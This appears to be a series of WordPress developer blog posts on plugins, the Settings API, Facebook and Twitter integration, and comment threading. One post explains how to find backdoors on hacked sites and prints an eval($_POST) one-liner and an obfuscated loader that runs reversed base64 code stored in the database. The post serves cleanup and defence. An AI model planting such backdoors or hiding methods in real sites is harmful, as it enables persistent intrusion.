Since people have been emailing me and asking for it…

WordPress Plugin: Simple Twitter Connect

It’s similar in concept to the Simple Facebook Connect plugin. In fact, it rips off quite a lot of the same code. But instead of Facebook, this integrates your WordPress site better with Twitter.

Now, there’s a lot of Twitter plugins out there already. And this plugin by no means competes with them (yet). This plugin can’t, for example, send a post to Twitter (yet). Nor can it pull posts from Twitter to display on your own site (yet).

What it does is to provide the framework for a more complete Twitter integration. Right now it can do:

• Login via Twitter
• Comment via Twitter

Not much, really. But it has the backend code necessary to make it easier to connect your site to a Twitter Application, and to make plugins surrounding it that won’t interfere with each other. That’s the same basic reason for the Simple Facebook Connect plugin.

So yes, eventually this plugin will send and receive stuff from Twitter. But for now, it lets you allow users to Login and/or to have users Comment using their Twitter credentials.

Expect frequent updates.

Time for Otto’s general griping: WordPress plugin programming edition.

Here’s a practice I see in plugins far too often:

1. Plugin.php file adds something like this to the wp_head:

   <script src='http://example.com/wp-content/plugins/my-plugin/script.js.php'>

2. Script.js.php has code like the following:

   <?php
   include "../../../wp-load.php";
   ?>
   ... javascript code ...
   

The reason for this sort of thing is that there’s some option or code or something that the javascript needs from the database or from WordPress or whatever. This PHP file is, basically, generating the javascript on the fly.

Usually, the case for this turns out to be something minor. The code needs the value from an option, or some flag to turn it on or off. Or whatever.

Problem is that finding wp-load.php can be a bit of a chore. I’ve seen extreme efforts to find and load that file in plugins before, including searching for it, examining the directory structure to make decent guesses, etc. This sort of thing has existed even before wp-load.php came around, with people trying to load wp-config.php themselves and such.

But the real problem is simpler: This is always the wrong way to do it.

Why this is wrong

1. You don’t have the first clue where wp-load.php actually is. Both the plugin directory and the wp-content directory can be moved around in the installation. ALL the WordPress files could be moved about in this manner, are you going to search around for them?
2. You’ve instantly doubled the load on that server. WordPress and the PHP processing of it all now have to get loaded twice for every page load. Once to produce the page, and then again to produce your generated javascript.
3. You’re generating javascript on the fly. That’s simply crap for caching and speed and such.

The right way? Well, there’s two options.

Right Way the First

Generate your options separately, put them in using wp_print_scripts.

Examine this pseudo-code:

add_action('wp_print_scripts','myscript');
function myscript() {
?>
<script type="text/javascript">
  var plugin_option= <?php echo json_encode(get_option('plugin_option')); ?>;
</script>
<?php
}
wp_enqueue_script('myscript','...myscript.js',...);

Basically, the plugin option value is inserted directly into the page. The myscript.js file that loads shortly afterwards can use this value however it likes.

Why this is better:

1. No searching for wp-load.php.
2. The javascript is static, only your options are variable. No added load on the site.
3. Static scripts mean you get great speed from caching.

Sidenote: Note the use of json_encode? You should always use this when producing javascript variables from PHP variables. It handles quoting and escaping and everything for you. It can even turn PHP arrays into javascript arrays nicely! Handy for storing all your options in one place.

What if you have a ton of plugin options though? What if you really WANT to generate that javascript on-the-fly?

Right Way the Second

Generate the javascript from a call to WordPress itself, not to a separate file.

Examine this pseudo-code:

add_filter('query_vars','plugin_add_trigger');
function plugin_add_trigger($vars) {
    $vars[] = 'plugin_trigger';
    return $vars;
}

add_action('template_redirect', 'plugin_trigger_check');
function plugin_trigger_check() {
	if(intval(get_query_var('plugin_trigger')) == 1) {
	?>
function javascript_code() {
...
}
<?php
	exit;
	}
}

That code does something a little clever. Basically it’s adding a new query variable to be used as the “trigger”. When the trigger gets pulled, a bunch of javascript is generated, then the code *exits*, stopping WordPress from proceeding any further.

So, with that code in a plugin, a call to http://example.com/?plugin_trigger=1 will now produce your javascript code. This is running entirely within the content of a WordPress call, so you get all the WP functions and database access with which you can generate your code as well.

Thus, you can happily put your

<script src="http://example.com/?plugin_trigger=1">

code into the page and it’ll load up that “file” just fine.

Why this is better:

1. No searching for load.php
2. … Well, okay, there is no other reason. The load problem still exists, and your caching issues still exist. You’re programmatically generating code here, after all. It’s not a particularly good practice to do. Still, sometimes this is easier and faster to develop, even if it’s never actually “necessary”.

Also see that while I’m using the number 1 there as the value I’m checking for, that value can be anything you like. If you want to be a smartass about it and have all sorts of different things that could be generated, you can do them all with that one trigger. It’s still a generally bad idea because of the added load, but hey, maybe you have a legitimate reason. I’ve seen one or two valid reasons to do this before.

Wrap up

Also note all of the above also applies to “generating” CSS code. It’s just as unnecessary. Usually more so.

So please, stop including wp-load. It’s just wrong. Let WordPress load itself, and make your plugin do the output it needs to produce in the right places.

The majority of the email I get from users of the Simple Facebook Connect plugin is questions regarding how to setup their Facebook Application. It’s really not that hard to do, but the plethora of options can seem somewhat intimidating. So here’s the basics of what you need to do.

After creating your application, you’ll need to visit the Apps section in the Facebook Developer Home area. Here you’ll find your application, and the all critical “Edit Settings” link.

Firstly, never give out your Application Secret. If you give this out by accident, then use the Reset Secret Key link to get a new one.

Anyway, from here, you want to go into the settings. The settings area is divided into six main sections, but most of the settings are irrelevant. See, you’re building a “Connect” application, not a “Canvas” one. So most of these are meaningless for you. The following ones are what you actually care about:

Obviously, you want the name of your Application to make sense. I suggest using the same name as your website. You can even use your domain name here if you like. Just be aware that this name is what the Fans of your site will see in their Applications area.

The Basic Information section is important as well, fill it in as you see fit. I also recommend uploading good icons and/or logos for your site. Gives it that finished look.

Contact Information is obviously important as well, but don’t worry about all those extra URLs. They really apply more to Canvas apps. Of course, if you want to make special pages on your site for them and provide the URLs here, feel free.

The Authentication Settings page is surprisingly important. Those top two boxes need to be unchecked for a Facebook Connect application. Why? Because when they are unchecked, your Application becomes an “External Website” as far as Facebook is concerned. If you have either them checked, then your app’s Canvas section becomes active and you might have users trying to add it to their profiles and such, resulting in broken pages and a general bad user experience.

The Connect Settings page is probably the most important one. These settings must be filled in and they must be absolutely accurate. Specifically, the URLs must be the URLs that are actually used by your site. Capitalization matters. The leading “www” or lack of one matters. Whatever the URL your site is in the browser is what you MUST put into these fields. Anything less and your site will not work.

The Advanced Settings screen contains these three fields which you need to set in the same way I did. The email domain should be your own domain, obviously. This field must be filled in for you to get real user emails on your Connected site. Without this, you only get proxied emails through Facebook.

Finally, after you have saved those settings, take the time to go back to the main application screen and click the “Edit Application Profile” link. You’ll be taken here, where you can set up the “look” of your application page on Facebook. This includes what tabs are visible, the stuff in the Info section, etc. You can add extra Applications tabs to this page and generally customize all sorts of stuff. None of that affects your site, but it does affect how the App Page looks in Facebook. The more polished it is, the more likely people will “Fan” your Application. And Fans get updates from when you publish posts to the Wall. Great way to drive traffic to your content.

Hope this helps! Mainly, I hope this reduces the number of questions I get about this process. Enjoy SFC!

I saw this morning that Jesse Stay had created a rather neat little chicklet for his FBFoundations plugin. I thought it was a clever idea, so naturally I stole it and added it to Simple Facebook Connect as well.

Of course, just copying an idea is no fun. So I had to improve upon it a bit for my version.

I ended up not using any of Jesse’s code, but I did (mostly) keep the format of his chicklet output the same, so as to try to be compatible with it for styling rules and such.

Usage

The SFC Chicklet works in one of a few ways:

• First, it’s a widget if you just want to stick it in a sidebar or something. That’s easy.
• On the other hand, if you want to integrate it into your theme, then all you have to do is to add a call to sfc_chicklet(); anywhere you like.

Configuration (Styling)

Now, unlike Jesse’s FBFoundations plugin, Simple Facebook Connect is all about simplicity. So I removed all the configuration options that he used (widths, colors, etc) and made them styleable instead.

The SFC Chicklet has a default set of styles that it puts right into the HTML itself. However, these can be easily overridden by your own styles in your theme. The thing to notice is that all the styles I use refer to classes only, not referencing the tags. So, if you re-style and use the tags as well, then your styles win the specificity war, and will take precedence.

Thus, if you want to change the background color of the main box, you can do this:

div.fanBoxChicklet {
background-color:blue;
}

Simple. The “div” makes it take precedence. Anybody familiar with simple CSS should be able to easily style it the way they like.

On the other hand, if you’re a super-themer and want to disable the built-in styles entirely, add this to your theme’s functions.php file:

global $sfc_chicklet_no_style;
$sfc_chicklet_no_style = true;

Extra

And, of course, this new plugin supports both the Application and the Fan Page methods, for those of you who have your webpage hooked to a Fan Page. This is similar to the new support for Fan Pages in the SFC Publish and SFC Fan Box plugins.

If you’re a real power user, you might want to display a chicklet for more than one page or application. Well, we’ve got you covered, just call sfc_chicklet(“ID-NUMBER”), where ID-NUMBER is the ID of your application or page. Remember, this needs to be a string, not an integer.

Internals

Internally, the plugin uses the Facebook PHP library to get the necessary data from Facebook, so there’s no need to have any odd javascript or ajax requests to make the system work. Because of the use of this Facebook code, PHP 5 is required to use this plugin.

However, the Facebook code includes a JSON library (if you don’t have one already loading), which means that if you activate this plugin, it’s quite probable that the whole SFC system will run on WordPress 2.8, even if it wouldn’t before. Of course, since 2.9 was just released, this is not as big of a deal, really.

The plugin also uses the WordPress Transients API as a caching mechanism, so that it only asks Facebook for the fan count a maximum of once per hour. The Transients API was introduced in 2.8, and so the plugin should still work okay if you haven’t upgraded to 2.9 yet.

And if you can come up with any other good Facebook plugin ideas, let me know. SFC has proven to be an easy platform for building simple Facebook plugins on top of, so they can probably be produced pretty quickly and easily.

Installation

If you haven’t installed SFC yet, then this chicklet is part of the package. Just download it and install from here:
http://wordpress.org/extend/plugins/simple-facebook-connect/

Alternatively, in a WordPress installation, just go to the “Plugins->Add New” area and search for “Simple Facebook Connect”. You can install the package directly from there.

If you already are using SFC 0.8, then you only need the new file. You can download it separately here:
http://plugins.svn.wordpress.org/simple-facebook-connect/trunk/sfc-chicklet.php

Just drop it into your /wp-content/plugins/simple-facebook-connect directory, then activate it in the Plugins panel.

When writing the Simple Facebook Connect plugin, I investigated how the Settings API worked. It’s relatively new to WordPress (introduced in version 2.7), and many things I read said that it was much easier to use.

It is much easier to use in that it makes things nice and secure almost automatically for you. No confusion about nonces or anything along those lines. However, it’s slightly more difficult to use in that there’s very little good documentation for it. Especially for the most common case: Making your own settings page.

So, here is my little documentation attempt.

Making your own settings page

First, add yourself an options page. Code to do that:

<?php // add the admin options page
add_action('admin_menu', 'plugin_admin_add_page');
function plugin_admin_add_page() {
add_options_page('Custom Plugin Page', 'Custom Plugin Menu', 'manage_options', 'plugin', 'plugin_options_page');
}
?>

What this does is quite simple, really:

a. It adds a link under the settings menu called “Custom Plugin Menu”.
b. When you click it, you go to a page with a title of “Custom Plugin Page”.
c. You must have the “manage_options” capability to get there though (admins only).
d. The link this will be will in fact be /wp-admin/options-general.php?page=plugin (so “plugin” needs to be something only you will use).
e. And the content of the page itself will be generated by the “plugin_options_page” function.

Oh wait, we need that function! Let’s go ahead and create that, shall we?

<?php // display the admin options page
function plugin_options_page() {
?>
<div>
<h2>My custom plugin</h2>
Options relating to the Custom Plugin.
<form action="options.php" method="post">
<?php settings_fields('plugin_options'); ?>
<?php do_settings_sections('plugin'); ?>

<input name="Submit" type="submit" value="<?php esc_attr_e('Save Changes'); ?>" />
</form></div>

<?php
}?>

Hang on a minute, where’s all the options? Well, here’s where the Settings API kicks in a bit. Up to now, this has been more or less the same as previous tutorials. Adding the options pages is really quite easy. But now, we’re going to use two new functions.

First, we call settings_fields(‘plugin_options’). This outputs the hidden bits that we need to make our options page both do what we want and to make it secure with a nonce. The string “plugin-options” can be anything, as long as it’s unique. There is another call we’re going to have to make with this same string later.

Next, we call do_settings_sections(‘plugin’). This is going to output all of our input fields. Text input boxes, radio fields, anything we like. Obviously though, we have to tell it what those fields are and look like somewhere. We do both of these things in the next section.

Defining the settings

<?php // add the admin settings and such
add_action('admin_init', 'plugin_admin_init');
function plugin_admin_init(){
register_setting( 'plugin_options', 'plugin_options', 'plugin_options_validate' );
add_settings_section('plugin_main', 'Main Settings', 'plugin_section_text', 'plugin');
add_settings_field('plugin_text_string', 'Plugin Text Input', 'plugin_setting_string', 'plugin', 'plugin_main');
}?>

Here we’ve done three things. Let’s break that down, shall we?

<?php register_setting( 'plugin_options', 'plugin_options', 'plugin_options_validate' );?>

First, we register the settings. In my case, I’m going to store all my settings in one options field, as an array. This is usually the recommended way. The first argument is a group, which needs to be the same as what you used in the settings_fields function call. The second argument is the name of the options. If we were doing more than one, we’d have to call this over and over for each separate setting. The final arguement is a function name that will validate your options. Basically perform checking on them, to make sure they make sense.

Ignoring the validation function for a moment, lets move on to the setting section. This one is actually quite simple.

<?php add_settings_section('plugin_main', 'Main Settings', 'plugin_section_text', 'plugin'); ?>

This creates a “section” of settings.
The first argument is simply a unique id for the section.
The second argument is the title or name of the section (to be output on the page).
The third is a function callback to display the guts of the section itself.
The fourth is a page name. This needs to match the text we gave to the do_settings_sections function call.

That function callback in the third argument should look a bit like this:

<?php function plugin_section_text() {
echo '<p>Main description of this section here.</p>';
} ?>

Simple, really. You can put any HTML you like here.

Now that we’ve talked about the section itself, we need to talk about the fields in that section.

<?php add_settings_field('plugin_text_string', 'Plugin Text Input', 'plugin_setting_string', 'plugin', 'plugin_main'); ?>

The first argument is simply a unique id for the field.
The second is a title for the field.
The third is a function callback, to display the input box.
The fourth is the page name that this is attached to (same as the do_settings_sections function call).
The fifth is the id of the settings section that this goes into (same as the first argument to add_settings_section).

The only difficult one here is, again, the callback. Let’s look at that, shall we?

<?php function plugin_setting_string() {
$options = get_option('plugin_options');
echo "<input id='plugin_text_string' name='plugin_options[text_string]' size='40' type='text' value='{$options['text_string']}' />";
} ?>

Simple. It just gets the options then outputs the input HTML for it. Note the “name” is set to plugin_options[text_string]. This is not coincidence, the name *must* start with plugin_options in our case. Why? Because that is the second argument we passed to register_settings.

The settings pages use a whitelist system. Only valid options get read. Anything else gets tossed out, for security. Here, we’re using a php trick. PHP interprets an incoming GET or POST data of name[thing] as being an array called name with ‘thing’ as one of the elements in it. So, all our options are going to take the form of plugin_options[some_thing], so that we get that single array back, and the array name itself is whitelisted.

Since this is designed with security in mind, we have one last callback to deal with: The validation callback that we skipped earlier:

<?php // validate our options
function plugin_options_validate($input) {
$newinput['text_string'] = trim($input['text_string']);
if(!preg_match('/^[a-z0-9]{32}$/i', $newinput['text_string'])) {
$newinput['text_string'] = '';
}
return $newinput;
}
?>

Here I’m taking a liberty with the code. I’m going to say that our text_string has to be exactly 32 alphanumerics long. You can actually validate any way you want in here. The point of this function is simply to let you check all the incoming options and make sure they are valid in some way. Invalid options need to be fixed or blanked out. Finally, you return the whole input array again, which will get automatically saved to the database.

Take special note of the fact that I don’t return the original array. One of the drawbacks of this sort of approach is that somebody could, in theory, send bad options back to the plugin. These would then be in the $input array. So by validating my options and *only* my options, then any extra data they send back which might make it here gets blocked. So the validation function not only makes sure that my options have valid values, but that no other options get through. In short, $input is untrusted data, but the returned $newinput should be trusted data.

And we’re done. Wait, what?

Yes, the whole point of this exercise is that the options are automatically saved for you. And everything else. You have an options page, you have fields on it, you are validating them… and that’s it. The actual *display* of the page is even done for you. Remember the input we made? It’ll get put into a table with the title on the left side before it, waiting for input.

Another nice thing is that this is easily expandable. For each option to add we:
1. Do a new add_settings_field call.
2. Make the function to display that particular input.
3. Add code to validate it when it comes back to us from the user.

To add a new section, you:
1. Do a new add_settings_section call.
2. Make the function to display any descriptive text about it.
3. Add settings fields to it as above.

One last thing

Sometimes we don’t need a whole page. Sometimes we only have one setting, and it would work well on some existing page. Maybe on the general page, or the discussion page. Well, we can add settings to those too!

If you look through the core code, you’ll find references like do_settings_sections(‘general’) or do_settings_sections(‘writing’), and so on. These you can add on to like any others, getting your settings on the main WordPress settings pages instead of having to make your own.

Just do this:
1. Make an add_settings_section call. The last argument should be “general”, or wherever you want to add your new section.
2. Add fields to your new section, using add_settings_field.
3. You still need to make your own settings whitelisted. To do this, you’ll need to make a call to register_setting. The first argument should be the same as the page name, like ‘general’, or wherever you’re putting your settings. This will let that page recognize and allow your settings to come through.

All the callbacks will basically be the same for this method. You’re just skipping a step of making your own page. Easy.

And there you go. More reading: http://codex.wordpress.org/Settings_API

Working on a new WordPress plugin lately. It’s basically a simple and easy way to make Facebook Connect work with your WordPress based website.

More info about it here: Simple Facebook Connect.

Short list of current features:

• Simple 2 step setup for Facebook Connect. Just create the App via Facebook and paste in the API key.
• Share button, with meta support.
• User status widget
• Comment using Facebook Identity (alpha, not operational, for testing only, will be working soon).

Like most things I announce early, it’s not fully featured yet. I’m modifying and adding onto it as I go along, so expect a lot of updates to show up in the plugin list if you use it.

And if you have ideas for how to improve it, please email them to me.

Over here, Jorge Escobar is writing about how he got hacked with the latest version of WordPress. After some minor back and forth on FriendFeed, I got him to do a search which found a malicious backdoor he might not otherwise have found.

In so doing, it occurred to me that most people don’t keep up with the world of WordPress in the way I do, and so have not seen nearly as many hack attempts. So I figured I’d post my little contribution, and show people how to find hidden backdoors when cleaning up their hacked sites.

Non-technical users can safely ignore this post.

What’s a backdoor? Well, when somebody gets into your site, the very first thing that happens is that a backdoor is uploaded and installed. These are designed to allow the hacker to regain access after you find and remove him. Done craftily, these backdoors will often survive an upgrade as well, meaning that you stay vulnerable forever, until you find and clean the site up.

However, let’s be clear here: After you get hacked, the ONLY way to be 100% secure is to restore the entire site to a period before you were hacked, and then upgrade and/or patch whatever hole the hacker used to gain entry. Manual cleanup of a site is risky, because you might miss something. It’s also time-consuming. But, if you don’t have regular backups, you may have no real choice.

First, the obvious stuff:

• A backdoor is code that has been added to your site.
• It will most likely be code not in the normal WordPress files. It could be in the theme, it could be in a plugin, it could be in the uploads directory.
• It will be disguised to seem innocuous, or at least non threatening.
• It will most likely involve additions to the database.

Let’s go over these individual points one at a time.

Added code

While it’s true that simple “backdoors” often take the form of hidden admin users, generally complex backdoor code is simpler than that. It simply gives the attacker the means to any PHP code they like, usually through the use of the eval command.

A simple example would be this:

eval($_POST['attacker_key']);

This, very simply, executes any PHP code sent to it from a browser.

Of course, they wouldn’t put this code just anywhere… It has to not be that easy to find, and it has to survive a normal WordPress upgrade.

How to hide code

First, we have to consider where we can put our malicious code. A WordPress upgrade deletes a lot of directories. There’s three obvious places:

1. Themes. Good plan, themes survive core updates. However, people tend to edit their themes a lot. Also theme names change around a fair amount, so doing this automatically is difficult.

2. Plugins. Plugins are a good place to hide code. People don’t generally look at them in detail, and many plugins have vulnerabilities of their own that might be exploitable. Some of them even keep some of their directories writable, meaning we can directly upload our backdoor code to there easily, after we gain access.

3. Uploads. Perfect. It’s explicitly designed to be writable. People don’t generally see what’s in the folders, since they’re just looking at the normal interface in WordPress. This is where something like 80% of backdoor codes get put.

The art of disguise

This one is easy.

Step 1: Pick a name that looks harmless.

wp-cache.old. email.bak. wp-content.old.tmp. Something you won’t think of. Remember, it doesn’t have to end with PHP just because it’s got PHP code in it.

Step 2: Hide the code itself.

Except in special circumstances, legitimate code will not use “eval”. But, it happens often enough to be generally considered not harmful in and of itself. So looking for “eval” is not a good way to find malicious code.

However, attackers need to disguise their attacks over the wire as well, to prevent hosts from blocking them. The easy and cheap way to do this is base64 encoding.

Base 64 encoding lets them disguise their commands to their hidden “eval” command to be just a random looking string of letters and numbers. This is usually enough to get by any server filtering. However, this does mean that their code will have one tale-tell thing in it: base64_decode.

Base64_decode (and the similar uudecode) are the main way to find malicious code used today. There’s almost never a good reason to use them. Note the “almost” there, many plugins (notably the venerable Google Sitemap Generator) use base64_decode in legitimate ways. So it’s not exactly a smoking gun, but it is highly questionable for some randomly named file lying around to have that inside it.

Smarter authors realize this, and so have taken steps to hide even that sign…

Database obfuscation

Here’s a bit of code I’ve seen around recently. This code does something really clever. Note that it was heavily obfuscated by including hundreds of line of randomness, hidden in /* PHP comments */. This is why having a text editor with code and syntax coloring can be very handy.

Note, this code was in a file named wp-cache.old in the wp-content/uploads directory. It was included at the end of the wp-config.php (also a file that usually does not get overwritten in an upgrade).

global $wpdb;
$trp_rss=$wpdb->get_var(
"SELECT option_value FROM $wpdb->options WHERE option_name='rss_f541b3abd05e7962fcab37737f40fad8'");
preg_match("!events or a cale\"\;s\:7\:\'(.*?)\'!is",$trp_rss,$trp_m);
$trp_f=create_function("",strrev($trp_m[1]));
$trp_f();

1. It retrieves a value from the WordPress database.
2. It pulls a specific section of that value out.
3. It creates a function to run that value as PHP code.
4. It runs that function.

Note how it cleverly avoids all the warning signs.

• Nowhere does it use “eval”.
• base64 is not visible at all.
• The function named strrev is used. strrev reverses a string. So the code that it’s pulling out is reversed! So much for looking for “base64_decode”.

The actual value in the database looked like this:

...a bunch of junk here...J3byJXZ"(edoced_46esab(lave

Reverse that. What do you have? Why, it’s our old friends eval and base64_decode. Clever. Searching the files for these two warning signs would have uncovered nothing at all. Searching the database for same would have also shown nothing.

The key it used, BTW (rss_f541b3abd05e7962fcab37737f40fad8) is also designed to be nonthreatening. WordPress itself creates several similar looking keys as part of its RSS feed caching mechanism.

So, break down how this code works.

1. The hacked wp-config.php code causes an include of a nondescript file, called wp-cache.old.
2. That code, which does not use any trigger words, loads a nondescript value from the options table.
3. It performs some string operations on that code, then executes it.
4. The code in question was the rest of the hack, and did many different things, such as inserting spam links, etc.

Summary

This is the sort of thing you’re up against. If your site got hacked, then there exists a backdoor on your site. Guaranteed. I’ve never seen a hacked WordPress installation that was missing it. Sometimes there’s more than one. You have to check every file, look through every plugin, examine even the database data itself. Hackers will go to extreme lengths to hide their code from you.

And one more thing… before claiming that your WordPress got hacked even despite having the latest code, make sure that it wasn’t actually hacked already, before you put the latest code on there. If you don’t fully clean up after a hack, then you *stay* hacked. It’s not a new hack, it’s the same one.

The latest WordPress (as of this writing) has no known security holes. Claiming that it does when you don’t know that for sure is really not all that helpful. You’re placing the blame in the wrong place. The WordPress team makes the code secure as is possible, and is very fast on patching the security holes that are found, when they’re found. But they can’t patch code that made it onto your site from some other method, can they? Just something to keep in mind.

I always wondered how Google Maps knew traffic conditions. Today, there’s a blog post where they explain it a bit better.

That ain't on an iPhone...

Basically, they simply have all the phones running Google Maps with GPS send back data as to a) where they are and b) how fast they’re moving. Both of which GPS gives you more or less by default.

It’s a clever idea, and I like it, but it fails in a couple of major ways, IMO.

Firstly, when I use Google Maps on my phone, I tend to not leave it open. Google Maps is fine, but it’s not a very good navigation system. It’s just a map. A real navigation app is worlds better. I recently got Navigon Mobile Navigator on the new iPhone, and it’s pretty slick. Thinking about a dashboard mount for it now, actually.

Secondly, this system relies on a lot of people having Google Maps open and running and sending back data. If nobody with Google Maps running has been on your street recently, you get no information.

What Google really needs to do is to open it up as an API. Let other navigation system manufacturers both send and receive traffic data from the Google Maps system. It doesn’t have to be complex.

Any good navigation app knows your location and speed, so a simple way to send that info could be made easily enough. The problem, of course, is allowing third parties to use the data.

Google Maps works in layers of images, which is one of its major shortcomings, IMO. The street views are images. The terrain are images. Just big sets of tiles that get displayed next to each other. And I’m almost certain that this traffic thing is just another set of images they’re generating or updating. For navigation providers that use 3d views and such, they don’t need that stuff in the form of images, they need it in the form of data. What streets are busy? How can that information be used to improve the navigation? Etc.

Google is generally pretty good at opening up their APIs to third parties. However, they’re generally not good at providing data in different forms. Most of their APIs are “this is what we use, if you need something else we don’t have it” sort of thing. Hopefully, the Google Maps team will see the light here and realize that to get good data, you have to give good data, and start pushing in that direction. Because open traffic data would be pretty cool for everybody.

WordPress 2.7 includes a lot of new enhancements, but one of the big ones is the new comment functionality. Comments can be threaded, paged, etc. This is all built in, but unfortunately, your theme must support it. So, for theme authors, I’d suggest getting to work on making your themes compatible right away.

Read on if you’re a theme author…

Note: A lot of people seem to miss this key bit: Enhanced Comments are optional and default to off, even after you make these changes. You have to go to the Settings->Discussion panel to turn the features on.

Actually “compatible” is not quite the right term. Old themes will continue to work fine in WordPress 2.7. It’s just the threading and paging and javascript enhancements need the theme to support it. This is much the same as the sidebar widgets, the theme has to support it for the functionality to work. So this article is really not about 2.7 compatibility, it’s about 2.7 capability.

Note that this article will explain some of the changes needed to make themes capable of supporting the new comments functions, however there’s no substitute for the real thing. Install a local copy of WordPress trunk on your home machine (possibly using XAMPP) and test it there.

Also note that this is all based on the current state of WordPress trunk, and is subject to change before WordPress 2.7 is released. However, it’s probably not going to change all that much at this point.

How to create a 2.7 compatible comments.php

2.7 Detection

If you want your theme to be backward compatible as well, then there’s a simple way to do it. Just check for the wp_list_comments function, like so:

if (function_exists('wp_list_comments')) :
// new comments.php stuff
else :
// old comments.php stuff
endif;

While you could check for the version number of WordPress, this method is better because it simply looks for the actual function you’re going to use anyway. Never make assumptions based on version number.

One of the more interesting ways I’ve seen to use this is to have the “old comments” php in a separate file entirely, which is then included. This preserves backwards compatibility for your theme in a simple way. Here’s a quick example code for that approach:

<?php
add_filter('comments_template', 'legacy_comments');
function legacy_comments($file) {
	if ( !function_exists('wp_list_comments') )
		$file = TEMPLATEPATH . '/legacy.comments.php';
	return $file;
}
?>

Adding this code to a theme’s functions.php file will make the theme use the “legacy.comments.php” for older non-2.7 installations. That way, you can simply rename your old comments.php and then make a new one based on the new functionality. Clever.

Password Protection Check

Put this code at the top of your comments.php file. This is what lets it support the post password functionality. Note that this code is quite similar to the previous way that it was done (by checking the cookie directly), but now WordPress has a specific function to do it. You should use this function in case the functionality changes in the future, your code will be forward compatible:

if (!empty($_SERVER['SCRIPT_FILENAME']) && 'comments.php' == basename($_SERVER['SCRIPT_FILENAME']))
	die ('Please do not load this page directly. Thanks!');
if ( post_password_required() ) {
	echo 'This post is password protected. Enter the password to view comments.';
	return;
}
<h4>The Comments Loop</h4>
The Comments Loop used to look similar to this (much simplified from a real one):
[php]if ($comments) :
<?php $comment_count = get_comment_count($post->ID); echo $comment_count['approved']; ?> Comments
<ul class="commentlist">
<?php foreach( $comments as $comment ) :
// stuff to display the comment in an LI here
endforeach;
?></ul>
<?php else :
if ('open' == $post-comment_status) :
	// If comments are open, but there are no comments.
else :
	// comments are closed
endif;
endif;

Basically, it went through the comments manually and output all the necessary pieces. Easy, but very manual. This also had the problem of being very inconsistent and hard to manage for your theme’s users, especially if you heavily customized it.

The new comments loop is much simpler:

<?php if ( have_comments() ) : ?>
<h4 id="comments"><?php comments_number('No Comments', 'One Comment', '% Comments' );?></h4>

<ul class="commentlist">
<?php wp_list_comments(); ?>
</ul>

<div class="navigation">
<div class="alignleft">< ?php previous_comments_link() ?></div>
<div class="alignright">< ?php next_comments_link() ?></div>
</div>
<?php else : // this is displayed if there are no comments so far ?>
	<?php if ('open' == $post->comment_status) :
		// If comments are open, but there are no comments.
	else : // comments are closed
	endif;
endif;
?>

That new one is, in fact, a complete comments loop. No simplification at all. Unless you want something displayed for “no comments” or “comments closed”, of course. I don’t have anything showing there.

There are three important pieces to note here:

• The have_comments() function replaces the check on the global $comments variable.
• The wp_list_comments() function now outputs all the comments. It does threading, the classes, everything new.
• There’s a new navigation section to do comment paging.

The Power of Javascript

To support the new Javascript functionality with comment threading, some minor bits of code are needed:

First, in the header.php, add this line immediately before the call to wp_head():

if ( is_singular() ) wp_enqueue_script( 'comment-reply' );

That code adds the comment-reply javascript to the single post pages, letting the comment reply links work correctly. WordPress specifically does NOT do this itself, for the reason that use of this script requires certain naming conventions and parameters in the comment form, which you’ll have to add.

So, your comment form has a new parameter that you have to add:

<?php comment_id_fields(); ?>

This adds a bit of code to your form which makes it display two hidden inputs: comment_post_ID and comment_parent. Your form probably had the comment_post_ID before, so you need to remove it. The comment_parent is there for the javascript, so that replies to comments get threaded properly.

Also, your comment textarea MUST have an id=”comment”. The javascript expects it for focus purposes. If you used anything else, change it. Note that because of this, no other element on your page can have the “comment” ID.

Finally, the entire comment form MUST be surrounded by a DIV with an id=”respond”. In some previous themes (including the default ones), there would be an anchor tag like this:

<a id="respond"></a>

This was there to allow the link from the front page to go directly to the respond section when there were no comments already. That still happens, but now there’s a double purpose. The javascript moves the comment form to where the reply link is, so instead of it being an anchor, it needs to be a DIV that surrounds the comment form.

So, remove that anchor, and add a DIV with an id=”respond” around the entire comment form. The link from the front page still works this way with all modern browsers, and the javascript can now move the form around on the page as needed.

Next, you can replace the call to your normal “Leave a Comment” text with something like this:

<h3><?php comment_form_title(); ?></h3>

This makes a comment form title of “Leave a Reply” which will change to “Leave a Reply to Whoever” when somebody is replying directly to another person. You can customize this, if you like, with two parameters, like so:

<?php comment_form_title( 'Leave a Reply', 'Leave a Reply to %s' ); ?>

The %s will be replaced with the person’s name. This will only happen when the javascript isn’t working and the reply links have to cause a page refresh. So it’s usually not worth customizing much. Still, not everybody runs javascript and so this is nice to let them know who they are replying to.

Finally, you’ll notice that when somebody clicks “reply” and the comment form appears there, maybe they decide to cancel instead. So, that cancel link needs to be in your respond section. Here’s the code to do that, just put it right below your “leave a message” header in the comment form area:

<div id="cancel-comment-reply">
	<small><?php cancel_comment_reply_link() ?></small></div>

That’s pretty much it for making the AJAX work. With this, the new features on the Settings->Discussion panel will work. Obviously, you can modify this somewhat as needed for your theme, these are just general principles that you’ll need to use.

Styling

Now that you have it working, there’s plenty of new styling you can add to comments. The new comments loop automatically puts every comment into an LI tag, and threads them as well, with embedded UL/LI tags. It also adds a ton of classes on all these LIs which surround every comment in this fashion:

• comment, trackback, pingback classes get added depending on the type of the comment.
• byuser gets added if the comment is by a registered user of the site.
• comment-author-authorname gets added for specific registered users.
• bypostauthor gets added if the comment is by the author of the post the comment is attached to.
• odd and even classes are added to odd and even numbered comments
• alt is added to every other comment
• thread-odd, thread-even, and thread-alt classes are the same as the odd/even/alt classes, but these only apply to the top level of each set of comments and replies
• depth-1 is added to the top level comments, depth-2 to the next level, and so on.

What’s more, a comment_class filter is provided to allow you to add your own classes. Here’s an example of that. This example function adds a microid to every comment with the microid for the comment authors given URL and email address. This sort of thing could be done in a plugin or a theme’s functions.php file, whatever.

// add a microid to all the comments
function comment_add_microid($classes) {
	$c_email=get_comment_author_email();
	$c_url=get_comment_author_url();
	if (!empty($c_email) && !empty($c_url)) {
		$microid = 'microid-mailto+http:sha1:' . sha1(sha1('mailto:'.$c_email).sha1($c_url));
		$classes[] = $microid;
	}
	return $classes;
}
add_filter('comment_class','comment_add_microid');

Simple and effective. It just adds the class to the given array of classes and lets the comment display functions take care of the rest.

And there you have it. It’s not hard to support the new functions. And if you need to customize your theme’s comments section even more, wp_list_comments() supports a number of parameters. Most of this is not documented yet, because WordPress 2.7 is not out until November. However, the code is relatively straightforward, and anybody with a good understanding of WordPress should be able to work it out.

